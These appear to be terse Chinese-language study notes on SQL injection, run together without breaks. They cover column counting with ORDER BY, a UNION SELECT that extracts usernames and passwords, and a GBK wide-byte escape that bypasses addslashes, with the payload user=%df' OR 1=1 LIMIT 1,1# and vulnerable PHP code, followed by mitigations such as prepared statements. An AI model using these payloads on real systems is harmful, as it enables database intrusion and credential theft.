id=1607 AND 1=1/*(/*/#截斷後續SQL)ORDER BY 1..N至報錯,N-1即列數UNION SELECT username,password,1,2,3 FROM user → 前端直接顯示帳號密碼mysql_real_escape_string()或addslashes()(次選)'123',防id=1 OR 1=1繞過%df'經addslashes→%df\'(\=0x5c)
GBK雙字節:0xdf 0x5c合法字符 **縗** → 單引號**逃逸**
最終SQL:WHERE username='縗' OR 1=1 LIMIT 1,1#'
mysql_query("SET NAMES 'GBK'");
$user = mysql_escape_string($_GET['user']);
$sql = "SELECT * FROM cms_user WHERE username='$user' AND password='$pass'";
Payload:user=%df' OR 1=1 LIMIT 1,1#
mysql_query("SET NAMES 'GBK'");
mysql_query("SET character_set_client=binary"); // 關鍵:客戶端按二進制處理,禁用多字節解析
或**統一UTF-8**(無多字節逃逸風險)+ **預處理語句**。
addslashes可防,但**預處理才是銀彈**character_set_client=binary或棄用GBK**